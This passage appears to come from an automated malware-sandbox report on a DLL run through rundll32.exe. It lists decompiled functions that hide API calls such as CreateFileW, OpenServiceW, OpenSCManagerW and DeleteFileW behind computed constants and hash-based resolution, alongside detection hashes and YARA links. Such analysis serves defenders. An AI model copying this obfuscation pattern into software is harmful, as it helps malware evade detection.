				E10002309(0x10a, _t70, _t70, 0xb484d458, _t70, 0x9c9047d0);
				_t68 = CreateFileW(_a4, _a24, _a28, 0, _a32, _a20, 0); // executed
				return _t68;
			}

0x100119a6
0x100119a7
0x100119aa
0x100119ad
0x100119b0
0x100119b3
0x100119b6
0x100119b9
0x100119bc
0x100119bf
0x100119c3
0x100119c4
0x100119c9
0x100119d3
0x100119d9
0x100119dd
0x100119e4
0x100119eb
0x100119f2
0x100119fe
0x10011a03
0x10011a0b
0x10011a13
0x10011a16
0x10011a1d
0x10011a30
0x10011a38
0x10011a3f
0x10011a4a
0x10011a4d
0x10011a60
0x10011a79
0x10011a7f

APIs

CreateFileW.KERNEL32(D4FB5FE8,?,?,00000000,?,?,00000000), ref: 10011A79

Memory Dump Source

Source File: 00000006.00000002.262093757.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.262078857.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.262131684.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 8a2d25935346c61c613306e80470cb2899605f47af9ce82126dccb95390cfdca
Instruction ID: 4460bfc2ec69cb6a9c9d4ae8ab6b4977e7447a0d843199ae8caee7af6f2384ce
Opcode Fuzzy Hash: 8a2d25935346c61c613306e80470cb2899605f47af9ce82126dccb95390cfdca
Instruction Fuzzy Hash: E021E27280021DFBDF05CF95D8498DEBFB6EF49354F108188F91466260D3B69A61AF90

Uniqueness

Uniqueness Score: -1.00%

Function 10002985, Relevance: 1.6, APIs: 1, Instructions: 58
memoryCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E10002985(long __ecx, long __edx, intOrPtr _a4, void* _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				unsigned int _v20;
				void* _t43;
				void* _t53;
				signed int _t55;
				long _t60;
				long _t61;

				_push(_a12);
				_t60 = __edx;
				_t61 = __ecx;
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E10022523(_t43);
				_v20 = 0x610f25;
				_v20 = _v20 ^ 0x98bdb346;
				_v20 = _v20 >> 3;
				_v20 = _v20 ^ 0x13199c72;
				_v16 = 0x24641b;
				_t55 = 0x72;
				_v16 = _v16 * 0x35;
				_v16 = _v16 ^ 0xfebd96de;
				_v16 = _v16 ^ 0xf931a9e3;
				_v12 = 0x6331a9;
				_v12 = _v12 >> 0xb;
				_v12 = _v12 / _t55;
				_v12 = _v12 ^ 0x0006f398;
				_v8 = 0x8145a8;
				_v8 = _v8 >> 0xa;
				_v8 = _v8 << 0xd;
				_v8 = _v8 + 0x8268;
				_v8 = _v8 ^ 0x0405b518;
				E10002309(_t55 + 0x5d, _t55, _t55, 0x9d19c04e, _t55, 0x9c9047d0);
				_t53 = RtlAllocateHeap(_a8, _t60, _t61); // executed
				return _t53;
			}

0x1000298d
0x10002990
0x10002992
0x10002994
0x10002997
0x1000299a
0x1000299b
0x1000299c
0x100029a1
0x100029ab
0x100029b4
0x100029b8
0x100029bf
0x100029cc
0x100029d3
0x100029d6
0x100029dd
0x100029e4
0x100029eb
0x100029f9
0x100029fc
0x10002a03
0x10002a0a
0x10002a0e
0x10002a12
0x10002a19
0x10002a31
0x10002a3e
0x10002a45

APIs

RtlAllocateHeap.NTDLL(F931A9E3,01AD2A76,65B9EDAF,?,?,?,?,?,?,?,?,00000000,229292B5), ref: 10002A3E

Memory Dump Source

Source File: 00000006.00000002.262093757.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.262078857.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.262131684.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 138a33bbf657fc90b6a1f11ed01e494c992cf007267dd6aff1ee16601a01d635
Instruction ID: a28c389faf7b726d87918facb3c60479c9af1eed29e3a2ef13c7030710ba699e
Opcode Fuzzy Hash: 138a33bbf657fc90b6a1f11ed01e494c992cf007267dd6aff1ee16601a01d635
Instruction Fuzzy Hash: 84215372C00208BBDF18CFA8D84A8DEBFB5FB41710F108098E824A6210E3B4AB14DF90

Uniqueness

Uniqueness Score: -1.00%

Function 1001A1D9, Relevance: 1.6, APIs: 1, Instructions: 57
serviceCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E1001A1D9(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, void* _a12, int _a16, short* _a20) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				void* _t48;
				void* _t60;
				signed int _t62;

				_push(_a20);
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				E10022523(_t48);
				_v28 = _v28 & 0x00000000;
				_v24 = _v24 & 0x00000000;
				_v32 = 0xc7e348;
				_v20 = 0x108854;
				_v20 = _v20 + 0xffffaa5a;
				_v20 = _v20 ^ 0x0016e205;
				_v12 = 0x2fa6a1;
				_v12 = _v12 ^ 0x32ad7830;
				_t62 = 5;
				_v12 = _v12 * 0x54;
				_v12 = _v12 ^ 0x92f839ec;
				_v16 = 0x6695de;
				_v16 = _v16 * 0x61;
				_v16 = _v16 ^ 0x26d3982b;
				_v8 = 0xfe457a;
				_v8 = _v8 * 0x1c;
				_v8 = _v8 / _t62;
				_v8 = _v8 + 0xffffd7e2;
				_v8 = _v8 ^ 0x058c81d4;
				E10002309(0x229, _t62, _t62, 0x540b902b, _t62, 0x21ce39be);
				_t60 = OpenServiceW(_a12, _a20, _a16); // executed
				return _t60;
			}

0x1001a1df
0x1001a1e2
0x1001a1e5
0x1001a1e8
0x1001a1eb
0x1001a1f0
0x1001a1f5
0x1001a1fc
0x1001a202
0x1001a209
0x1001a210
0x1001a217
0x1001a21e
0x1001a225
0x1001a232
0x1001a239
0x1001a23c
0x1001a243
0x1001a255
0x1001a258
0x1001a25f
0x1001a26a
0x1001a277
0x1001a27a
0x1001a281
0x1001a294
0x1001a2a5
0x1001a2aa

APIs

OpenServiceW.ADVAPI32(0016E205,00000000,00000000), ref: 1001A2A5

Memory Dump Source

Source File: 00000006.00000002.262093757.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.262078857.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.262131684.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: OpenService
String ID:
API String ID: 3098006287-0
Opcode ID: 840192035c919cdef4810d782994658ce17bfcf84a61f68bdcf29756b0cc9f76
Instruction ID: fedd1cc606632efae3d400c93a220e8e98036f636a1aec4a19a6fd3869fc071c
Opcode Fuzzy Hash: 840192035c919cdef4810d782994658ce17bfcf84a61f68bdcf29756b0cc9f76
Instruction Fuzzy Hash: 122128B1C0020DFFCF04CFE8D946AAEBBB5EB44300F108199E914A6260D7715B549F50

Uniqueness

Uniqueness Score: -1.00%

Function 10017708, Relevance: 1.6, APIs: 1, Instructions: 53libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 100177B6

Memory Dump Source

Source File: 00000006.00000002.262093757.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.262078857.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.262131684.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 793664888eb73d009d9e5b6ba31e7172053ff3348b2e2b85015c814eee7fae41
Instruction ID: e01db37ee4e11aec0ed8fe9f4a455c9f05bd25de310d07c039ce80a3f7d39afa
Opcode Fuzzy Hash: 793664888eb73d009d9e5b6ba31e7172053ff3348b2e2b85015c814eee7fae41
Instruction Fuzzy Hash: CC1134B6D00209FBDB08CFA4D94A9AEBBB4FF44304F108189E814AB251E3B09B108F91

Uniqueness

Uniqueness Score: -1.00%

Function 10004248, Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10004248() {
				unsigned int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				signed int _t52;
				signed int _t53;

				_v24 = _v24 & 0x00000000;
				_v32 = 0xac8d12;
				_v28 = 0x59a528;
				_v12 = 0xae5295;
				_v12 = _v12 << 2;
				_t52 = 0xb;
				_v12 = _v12 / _t52;
				_v12 = _v12 ^ 0x0038a8c1;
				_v20 = 0xfd2184;
				_v20 = _v20 ^ 0xb7361747;
				_v20 = _v20 ^ 0xb7cc531f;
				_v8 = 0xac9b8;
				_t53 = 9;
				_v8 = _v8 / _t53;
				_v8 = _v8 << 0xd;
				_v8 = _v8 >> 0xd;
				_v8 = _v8 ^ 0x00077309;
				_v16 = 0x4164cf;
				_v16 = _v16 << 2;
				_v16 = _v16 ^ 0x010bebe7;
				E10002309(0x37f, _t53, _t53, 0x8b1a77d6, _t53, 0x9c9047d0);
				ExitProcess(0);
			}

APIs

ExitProcess.KERNEL32(00000000), ref: 100042F1

Memory Dump Source

Source File: 00000006.00000002.262093757.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.262078857.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.262131684.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 11cce549a584f233032fc040f1d8beaa3eb6087a0dfae4806d5bd7ccc63cf562
Instruction ID: dec05fa3737df580d58ff145636bc0451a72c06ba1d5dcadd23311741e886f9d
Opcode Fuzzy Hash: 11cce549a584f233032fc040f1d8beaa3eb6087a0dfae4806d5bd7ccc63cf562
Instruction Fuzzy Hash: B91128B5E00208EBDB44DFE5D94AADEBBF1FB44308F208089E515A7240D7B45B18CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 1001A566, Relevance: 1.5, APIs: 1, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E1001A566(void* __ecx, void* __edx, void* _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _t31;
				int _t39;

				_push(_a4);
				_push(__ecx);
				E10022523(_t31);
				_v20 = 0xa80c31;
				_v20 = _v20 * 0x6c;
				_v20 = _v20 ^ 0x46e6f799;
				_v16 = 0x35d7e6;
				_v16 = _v16 << 0xd;
				_v16 = _v16 ^ 0xbafefac0;
				_v12 = 0x55f9ae;
				_v12 = _v12 + 0xffffbfa6;
				_v12 = _v12 | 0xf8d2795e;
				_v12 = _v12 ^ 0xf8daa7f9;
				_v8 = 0xe46cfe;
				_v8 = _v8 ^ 0xeb94df75;
				_v8 = _v8 | 0xf69b0666;
				_v8 = _v8 ^ 0xfffa92dc;
				E10002309(0x148, __ecx, __ecx, 0x2237d547, __ecx, 0x9c9047d0);
				_t39 = FindCloseChangeNotification(_a4); // executed
				return _t39;
			}

0x1001a56c
0x1001a570
0x1001a571
0x1001a576
0x1001a58a
0x1001a58d
0x1001a594
0x1001a59b
0x1001a59f
0x1001a5a6
0x1001a5ad
0x1001a5b4
0x1001a5bb
0x1001a5c2
0x1001a5c9
0x1001a5d0
0x1001a5d7
0x1001a5f6
0x1001a601
0x1001a606

APIs

FindCloseChangeNotification.KERNEL32(F8DAA7F9), ref: 1001A601

Memory Dump Source

Source File: 00000006.00000002.262093757.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.262078857.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.262131684.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 2512bc8cf98a9556459c8d1695ff192ee3e01f460f93b2f36ca59e351fe401b9
Instruction ID: 916d80f1436c55e495bde87e87ea32654bf5eec04e964754689aa7ec780072d2
Opcode Fuzzy Hash: 2512bc8cf98a9556459c8d1695ff192ee3e01f460f93b2f36ca59e351fe401b9
Instruction Fuzzy Hash: 1F11F3B5C1030DFBCB18DFE8D8869AEBBB4EF44304F108698A855A6261D3B56B158F91

Uniqueness

Uniqueness Score: -1.00%

Function 100117CB, Relevance: 1.3, APIs: 1, Instructions: 56
stringCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E100117CB(WCHAR* __ecx, void* __edx, intOrPtr _a4, WCHAR* _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _t44;
				int _t55;
				signed int _t57;
				WCHAR* _t62;

				_push(_a8);
				_t62 = __ecx;
				_push(_a4);
				_push(__ecx);
				E10022523(_t44);
				_v24 = _v24 & 0x00000000;
				_v32 = 0x2c5dd9;
				_v28 = 0x29a411;
				_v16 = 0xb6013c;
				_v16 = _v16 >> 2;
				_v16 = _v16 << 5;
				_v16 = _v16 ^ 0x05bceb0d;
				_v12 = 0xa7496a;
				_t57 = 7;
				_v12 = _v12 * 0x55;
				_v12 = _v12 | 0x1a205192;
				_v12 = _v12 ^ 0x3fab9f8f;
				_v8 = 0xf5055a;
				_v8 = _v8 / _t57;
				_v8 = _v8 + 0xa16;
				_v8 = _v8 * 0x7e;
				_v8 = _v8 ^ 0x1132ba81;
				_v20 = 0xaea409;
				_v20 = _v20 << 6;
				_v20 = _v20 ^ 0x2ba3ef66;
				E10002309(0xb8, _t57, _t57, 0xbf157248, _t57, 0x9c9047d0);
				_t55 = lstrcmpiW(_t62, _a8); // executed
				return _t55;
			}

APIs

lstrcmpiW.KERNEL32(?,05BCEB0D,?,?,?,?,?,?,?,?,00000000), ref: 1001188D

Memory Dump Source

Source File: 00000006.00000002.262093757.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.262078857.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000006.00000002.262131684.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: d112a349bd06866e322501f938da4f729aeb5c72f8ac7eafb21e1b49d57e3827
Instruction ID: 1774797ce17004cd69ed458787da8d3b2b53829bebfee28bf73c73f1d8c62a15
Opcode Fuzzy Hash: d112a349bd06866e322501f938da4f729aeb5c72f8ac7eafb21e1b49d57e3827
Instruction Fuzzy Hash: 652127B5D0020CFFDB04DFA4D94A9EEBBB4EB44304F108189E425B7240E3B56B049F91

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: rundll32.exe PID: 2680 Parent PID: 4928 rundll32.exeCOMMON

Executed Functions

Function 1001F790, Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 47
fileCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E1001F790(void* __ecx, void* __edx, intOrPtr _a4, WCHAR* _a8, intOrPtr _a12) {
				signed int _v8;
				unsigned int _v12;
				signed int _v16;
				signed int _v20;
				void* _t39;
				int _t48;
				signed int _t50;

				_push(_a12);
				_push(_a8);
				_push(_a4);
				E10022523(_t39);
				_v20 = 0x305f8e;
				_v20 = _v20 << 0x10;
				_v20 = _v20 ^ 0x5f829bc1;
				_v12 = 0x22b27e;
				_v12 = _v12 >> 6;
				_v12 = _v12 + 0x22ee;
				_v12 = _v12 ^ 0x000c4601;
				_v8 = 0xcd41e2;
				_v8 = _v8 + 0xd868;
				_v8 = _v8 + 0xd31f;
				_t50 = 0x5f;
				_v8 = _v8 / _t50;
				_v8 = _v8 ^ 0x000a754c;
				_v16 = 0x592d24;
				_v16 = _v16 | 0x8ee4cdff;
				_v16 = _v16 ^ 0x8efaae11;
				E10002309(_t50 + 0x2c, _t50, _t50, 0x7c50bf37, _t50, 0x9c9047d0);
				_t48 = DeleteFileW(_a8); // executed
				return _t48;
			}

APIs

DeleteFileW.KERNEL32(8EFAAE11), ref: 1001F839

Strings

Lu, xrefs: 1001F7EB
", xrefs: 1001F7C8
Lu, xrefs: 1001F81A
$-Y, xrefs: 1001F802

Memory Dump Source

Source File: 00000007.00000002.260009198.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.259998974.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.260135017.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: DeleteFile
String ID: $-Y$Lu$Lu$"
API String ID: 4033686569-1114282491
Opcode ID: 79e79a46e8f2bc5455ac9c56fc484e8236daa8409ea2d6f81888c9965c792b55
Instruction ID: 543db5e143fc82e0febe4e5b84228ca4fb2f9e33671b133290cd188315d44989
Opcode Fuzzy Hash: 79e79a46e8f2bc5455ac9c56fc484e8236daa8409ea2d6f81888c9965c792b55
Instruction Fuzzy Hash: 7911F5B6C00208FBDF09DFE4CC4A9AEBBB5FB54318F108588E915AA251D3B59B649F50

Uniqueness

Uniqueness Score: -1.00%

Function 1001FE9D, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 26%

			E1001FE9D(void* __edx, intOrPtr _a4, intOrPtr _a8, int _a16) {
				unsigned int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				short* _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* __ecx;
				void* _t34;
				void* _t41;
				void* _t43;

				_push(_a16);
				_push(0);
				_push(_a8);
				_push(_a4);
				_push(0);
				E10022523(_t34);
				_v32 = 0xfebeef;
				_v28 = 0x6b4d4f;
				_v24 = 0;
				_v20 = 0x72d4d3;
				_v20 = _v20 + 0x7ce2;
				_v20 = _v20 ^ 0x0072d8bc;
				_v16 = 0x618a6;
				_v16 = _v16 + 0x2ac;
				_v16 = _v16 ^ 0x00083b16;
				_v12 = 0x17740f;
				_v12 = _v12 + 0x9d82;
				_v12 = _v12 ^ 0x0012bdfc;
				_v8 = 0xba692b;
				_v8 = _v8 ^ 0x31422697;
				_v8 = _v8 >> 0x10;
				_v8 = _v8 ^ 0x0005552e;
				_push(0x21ce39be);
				_push(0xb53dc03);
				_push(_t42);
				_push(_t42);
				_t43 = 0x15;
				E10002309(_t43);
				_t41 = OpenSCManagerW(0, 0, _a16); // executed
				return _t41;
			}

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,?), ref: 1001FF4C

Strings

OMk, xrefs: 1001FEC1
|, xrefs: 1001FED2

Memory Dump Source

Source File: 00000007.00000002.260009198.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.259998974.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.260135017.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: ManagerOpen
String ID: OMk$|
API String ID: 1889721586-2935449709
Opcode ID: d1e283b7febcfdf4bdf6f7a65a9942aadab0ed956acd7b7642cec6b73cd3d803
Instruction ID: 1d80d5bf462f7d76a803e315767f53b854081a7213ef634c08bc69ad92fa0287
Opcode Fuzzy Hash: d1e283b7febcfdf4bdf6f7a65a9942aadab0ed956acd7b7642cec6b73cd3d803
Instruction Fuzzy Hash: 6D1113B2C0022CBBEB11DFA5D94A8EFBFB4EF44318F108188E91466201D3B95B149B91

Uniqueness

Uniqueness Score: -1.00%

Function 1001199D, Relevance: 1.6, APIs: 1, Instructions: 71
fileCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E1001199D(void* __edx, WCHAR* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, long _a20, long _a24, long _a28, long _a32, intOrPtr _a36) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _t55;
				void* _t68;
				signed int _t69;
				signed int _t70;

				_push(0);
				_push(_a36);
				_push(_a32);
				_push(_a28);
				_push(_a24);
				_push(_a20);
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(0);
				E10022523(_t55);
				_v12 = 0xd4f63c;
				_v12 = _v12 >> 7;
				_v12 = _v12 << 0xf;
				_v12 = _v12 + 0xffffff46;
				_v12 = _v12 ^ 0xd4fb5fe8;
				_v8 = 0x967d18;
				_v8 = _v8 + 0xffffef98;
				_t69 = 0x14;
				_v8 = _v8 / _t69;
				_t70 = 0x4a;
				_v8 = _v8 / _t70;
				_v8 = _v8 ^ 0x000a0722;
				_v20 = 0x4653bc;
				_v20 = _v20 * 0x70;
				_v20 = _v20 ^ 0x1ec2604c;
				_v16 = 0x7577a9;
				_v16 = _v16 * 0x3c;
				_v16 = _v16 ^ 0x1b87e59a;
				E10002309(0x10a, _t70, _t70, 0xb484d458, _t70, 0x9c9047d0);
				_t68 = CreateFileW(_a4, _a24, _a28, 0, _a32, _a20, 0); // executed
				return _t68;
			}

APIs

CreateFileW.KERNEL32(D4FB5FE8,?,?,00000000,?,?,00000000), ref: 10011A79

Memory Dump Source

Source File: 00000007.00000002.260009198.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.259998974.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.260135017.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 8a2d25935346c61c613306e80470cb2899605f47af9ce82126dccb95390cfdca
Instruction ID: 4460bfc2ec69cb6a9c9d4ae8ab6b4977e7447a0d843199ae8caee7af6f2384ce
Opcode Fuzzy Hash: 8a2d25935346c61c613306e80470cb2899605f47af9ce82126dccb95390cfdca
Instruction Fuzzy Hash: E021E27280021DFBDF05CF95D8498DEBFB6EF49354F108188F91466260D3B69A61AF90

Uniqueness

Uniqueness Score: -1.00%

Function 10017708, Relevance: 1.6, APIs: 1, Instructions: 53libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 100177B6

Memory Dump Source

Source File: 00000007.00000002.260009198.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.259998974.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.260135017.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 793664888eb73d009d9e5b6ba31e7172053ff3348b2e2b85015c814eee7fae41
Instruction ID: e01db37ee4e11aec0ed8fe9f4a455c9f05bd25de310d07c039ce80a3f7d39afa
Opcode Fuzzy Hash: 793664888eb73d009d9e5b6ba31e7172053ff3348b2e2b85015c814eee7fae41
Instruction Fuzzy Hash: CC1134B6D00209FBDB08CFA4D94A9AEBBB4FF44304F108189E814AB251E3B09B108F91

Uniqueness

Uniqueness Score: -1.00%

Function 10004248, Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10004248() {
				unsigned int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				signed int _t52;
				signed int _t53;

				_v24 = _v24 & 0x00000000;
				_v32 = 0xac8d12;
				_v28 = 0x59a528;
				_v12 = 0xae5295;
				_v12 = _v12 << 2;
				_t52 = 0xb;
				_v12 = _v12 / _t52;
				_v12 = _v12 ^ 0x0038a8c1;
				_v20 = 0xfd2184;
				_v20 = _v20 ^ 0xb7361747;
				_v20 = _v20 ^ 0xb7cc531f;
				_v8 = 0xac9b8;
				_t53 = 9;
				_v8 = _v8 / _t53;
				_v8 = _v8 << 0xd;
				_v8 = _v8 >> 0xd;
				_v8 = _v8 ^ 0x00077309;
				_v16 = 0x4164cf;
				_v16 = _v16 << 2;
				_v16 = _v16 ^ 0x010bebe7;
				E10002309(0x37f, _t53, _t53, 0x8b1a77d6, _t53, 0x9c9047d0);
				ExitProcess(0);
			}

APIs

ExitProcess.KERNEL32(00000000), ref: 100042F1

Memory Dump Source

Source File: 00000007.00000002.260009198.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.259998974.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.260135017.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 11cce549a584f233032fc040f1d8beaa3eb6087a0dfae4806d5bd7ccc63cf562
Instruction ID: dec05fa3737df580d58ff145636bc0451a72c06ba1d5dcadd23311741e886f9d
Opcode Fuzzy Hash: 11cce549a584f233032fc040f1d8beaa3eb6087a0dfae4806d5bd7ccc63cf562
Instruction Fuzzy Hash: B91128B5E00208EBDB44DFE5D94AADEBBF1FB44308F208089E515A7240D7B45B18CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 1001A566, Relevance: 1.5, APIs: 1, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E1001A566(void* __ecx, void* __edx, void* _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _t31;
				int _t39;

				_push(_a4);
				_push(__ecx);
				E10022523(_t31);
				_v20 = 0xa80c31;
				_v20 = _v20 * 0x6c;
				_v20 = _v20 ^ 0x46e6f799;
				_v16 = 0x35d7e6;
				_v16 = _v16 << 0xd;
				_v16 = _v16 ^ 0xbafefac0;
				_v12 = 0x55f9ae;
				_v12 = _v12 + 0xffffbfa6;
				_v12 = _v12 | 0xf8d2795e;
				_v12 = _v12 ^ 0xf8daa7f9;
				_v8 = 0xe46cfe;
				_v8 = _v8 ^ 0xeb94df75;
				_v8 = _v8 | 0xf69b0666;
				_v8 = _v8 ^ 0xfffa92dc;
				E10002309(0x148, __ecx, __ecx, 0x2237d547, __ecx, 0x9c9047d0);
				_t39 = FindCloseChangeNotification(_a4); // executed
				return _t39;
			}

APIs

FindCloseChangeNotification.KERNEL32(F8DAA7F9), ref: 1001A601

Memory Dump Source

Source File: 00000007.00000002.260009198.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.259998974.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.260135017.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 2512bc8cf98a9556459c8d1695ff192ee3e01f460f93b2f36ca59e351fe401b9
Instruction ID: 916d80f1436c55e495bde87e87ea32654bf5eec04e964754689aa7ec780072d2
Opcode Fuzzy Hash: 2512bc8cf98a9556459c8d1695ff192ee3e01f460f93b2f36ca59e351fe401b9
Instruction Fuzzy Hash: 1F11F3B5C1030DFBCB18DFE8D8869AEBBB4EF44304F108698A855A6261D3B56B158F91

Uniqueness

Uniqueness Score: -1.00%

Function 100117CB, Relevance: 1.3, APIs: 1, Instructions: 56
stringCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E100117CB(WCHAR* __ecx, void* __edx, intOrPtr _a4, WCHAR* _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _t44;
				int _t55;
				signed int _t57;
				WCHAR* _t62;

				_push(_a8);
				_t62 = __ecx;
				_push(_a4);
				_push(__ecx);
				E10022523(_t44);
				_v24 = _v24 & 0x00000000;
				_v32 = 0x2c5dd9;
				_v28 = 0x29a411;
				_v16 = 0xb6013c;
				_v16 = _v16 >> 2;
				_v16 = _v16 << 5;
				_v16 = _v16 ^ 0x05bceb0d;
				_v12 = 0xa7496a;
				_t57 = 7;
				_v12 = _v12 * 0x55;
				_v12 = _v12 | 0x1a205192;
				_v12 = _v12 ^ 0x3fab9f8f;
				_v8 = 0xf5055a;
				_v8 = _v8 / _t57;
				_v8 = _v8 + 0xa16;
				_v8 = _v8 * 0x7e;
				_v8 = _v8 ^ 0x1132ba81;
				_v20 = 0xaea409;
				_v20 = _v20 << 6;
				_v20 = _v20 ^ 0x2ba3ef66;
				E10002309(0xb8, _t57, _t57, 0xbf157248, _t57, 0x9c9047d0);
				_t55 = lstrcmpiW(_t62, _a8); // executed
				return _t55;
			}

APIs

lstrcmpiW.KERNEL32(?,05BCEB0D,?,?,?,?,?,?,?,?,00000000), ref: 1001188D

Memory Dump Source

Source File: 00000007.00000002.260009198.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.259998974.0000000010000000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.260135017.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: d112a349bd06866e322501f938da4f729aeb5c72f8ac7eafb21e1b49d57e3827
Instruction ID: 1774797ce17004cd69ed458787da8d3b2b53829bebfee28bf73c73f1d8c62a15
Opcode Fuzzy Hash: d112a349bd06866e322501f938da4f729aeb5c72f8ac7eafb21e1b49d57e3827
Instruction Fuzzy Hash: 652127B5D0020CFFDB04DFA4D94A9EEBBB4EB44304F108189E425B7240E3B56B049F91

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: rundll32.exe PID: 1340 Parent PID: 2848 rundll32.exeCOMMON

Executed Functions

Function 100231D2, Relevance: 1.6, APIs: 1, Instructions: 77
processCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E100231D2(void* __ecx, WCHAR* __edx, intOrPtr _a8, intOrPtr _a12, WCHAR* _a16, struct _STARTUPINFOW* _a28, intOrPtr _a32, intOrPtr _a36, struct _PROCESS_INFORMATION* _a48, int _a52, intOrPtr _a56) {
				signed int _v8;
				signed int _v12;
				unsigned int _v16;
				signed int _v20;
				struct _SECURITY_ATTRIBUTES* _v24;
				intOrPtr _v28;
				void* _t54;
				int _t63;
				signed int _t65;
				WCHAR* _t71;

